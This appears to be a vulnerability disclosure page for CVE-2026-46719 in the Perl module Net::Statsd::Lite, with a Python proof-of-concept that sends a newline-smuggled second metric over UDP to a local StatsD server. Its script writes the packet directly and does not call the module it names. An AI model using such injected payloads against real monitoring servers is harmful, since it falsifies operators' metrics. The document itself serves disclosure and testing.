CVE-2026-46719 Net::Statsd::Lite指标注入漏洞

import socket # PoC for CVE-2026-46719: Net::Statsd::Lite Metric Injection # Description: This script demonstrates how a newline character in a metric name # can inject a second, arbitrary metric into the StatsD server. STATSD_HOST = '127.0.0.1' STATSD_PORT = 8125 # The vulnerable component allows newlines, colons, and pipes in the metric name. # Payload breakdown: # 'legit_metric:1|c' -> The legitimate metric the app intends to send. # '\n' -> The newline separator that breaks the protocol. # 'injected_metric:666|c' -> The malicious metric injected by the attacker. payload = b"legit_metric:1|c\ninjected_metric:666|c" print(f"[*] Sending payload to {STATSD_HOST}:{STATSD_PORT}") print(f"[*] Payload content: {payload}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (STATSD_HOST, STATSD_PORT)) sock.close() print("[+] Payload sent successfully. Check StatsD for 'injected_metric'.")